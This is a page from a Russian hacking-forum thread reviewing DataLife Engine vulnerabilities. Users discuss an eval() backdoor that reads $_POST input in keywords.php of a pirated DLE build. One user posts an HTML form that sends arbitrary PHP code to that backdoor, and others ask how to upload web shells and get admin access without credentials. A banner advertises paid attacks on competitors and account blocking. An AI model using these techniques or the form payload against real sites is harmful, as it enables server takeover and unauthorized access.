[ Обзор уязвимостей DataLife Engine ]

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
[ Обзор уязвимостей DataLife Engine ]

Страница 15 из 39

« Первая

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#141

30.04.2010, 10:43

Komyak

Участник форума

Регистрация: 15.01.2009

Сообщений: 158

С нами: 9116253

Репутация: 26

Цитата:

Так что с этим можно сделать?

В чём проблема? Пошли ему post с кодом, например через copy()

#142

30.04.2010, 11:09

wkar

Познающий

Регистрация: 18.10.2009

Сообщений: 80

С нами: 8718197

Репутация: 11

Цитата:

Сообщение от sir95

Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл.....

Юзай антивирус в админке, он покажет назву шелла

#143

30.04.2010, 11:20

Komyak

Участник форума

Регистрация: 15.01.2009

Сообщений: 158

С нами: 9116253

Репутация: 26

Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

#144

30.04.2010, 13:17

Rew

Новичок

Регистрация: 12.03.2010

Сообщений: 13

С нами: 8509548

Репутация: 0

Цитата:

Сообщение от Komyak

В чём проблема? Пошли ему post с кодом, например через copy()

Проблема в том что я не знаю как и что нужно и куда послать и через чё.

Где об этом можно хоть статью почитать или книжку что да как?

Цитата:

Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

В \upload\engine\ajax

keywords.php

http://slil.ru/29061005

Последний раз редактировалось Rew; 30.04.2010 в 13:27..

#145

30.04.2010, 13:43

Komyak

Участник форума

Регистрация: 15.01.2009

Сообщений: 158

С нами: 9116253

Репутация: 26

Цитата:

Проблема в том что я не знаю как

http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

А где дырка?- http://pastebin.com/Xj9kADx1

#146

30.04.2010, 13:54

Komyak

Участник форума

Регистрация: 15.01.2009

Сообщений: 158

С нами: 9116253

Репутация: 26

TANZWUT, ага http://forum.antichat.ru/showpost.ph...2&postcount=87

#147

30.04.2010, 14:17

Rew

Новичок

Регистрация: 12.03.2010

Сообщений: 13

С нами: 8509548

Репутация: 0

Цитата:

Сообщение от TANZWUT

Komyak, скорей всего Rew слил не с сайта M.I.D-Team

Да я сливал dle не сайта M.I.D-Team а с какого то сайта по dle где есть модули и хаки для dle.

Но что релиз от тимы M.I.D-Team там было это точно написано и папка там называлась DataLife Engine v.8.5 Nulled by M.I.D-Team после распаковки архива.

Значит от ихнего имени кто - то дле null распространяет с бэкдор . eval() через $_POST. Только теперь этот бэкдор
в keywords.php.

Цитата:

http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

Спасибо почитаем.

Что с рангом я вам плюсь добавил а его не видно?

#148

30.04.2010, 16:14

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

попробуй так

PHP код:


		
			
<form name="eval" action="http://script.ru/script.php" method="post">

<input type="text" name="text" value="phpinfo();"><br />

<input type="submit" name="submit" value="хряп">

</form>

вместо http://script.ru/script.php путь до твоего скрипта там где бекдор нашел, вместо phpinfo(); можеш любой php код писать.

dle 5 и shell

#149

20.05.2010, 13:34

simca

Новичок

Регистрация: 06.05.2010

Сообщений: 1

С нами: 8430138

Репутация: 0

dle 5 и shell

Здравствуйте, я новичек на форуме, поэтому сразу извиняюсь, если пост не сюда. Вопрос следующего характера, как можно залить шелл в dle 4.2 если нет доступа в админпанель, а есть только доступ к cnstats, установленного на этом сайте

#150

31.05.2010, 08:57

m00nster

Новичок

Регистрация: 24.04.2010

Сообщений: 3

С нами: 8446830

Репутация: 1

Доброе время суток.
Помогите написать код для бэкдора от -=ZLOY=-,чтоб получить доступ в АП, и быть в user_group 1

В этом деле я новичок,прошу вас,напишите подробно что да как

Страница 15 из 39

« Первая

Последняя »

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[ Обзор уязвимостей WordPress ]	ettee	Веб-уязвимости	383	23.11.2019 05:00
Обзор уязвимостей в платных CMS	ZAMUT	Веб-уязвимости	90	03.12.2017 01:35
DataLife Engine v.6.5. Null	Student :)	ПО для Web разработчика	31	23.02.2008 15:36
[ Обзор уязвимостей miniBB ]	-=lebed=-	Уязвимости CMS / форумов	3	12.01.2008 20:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход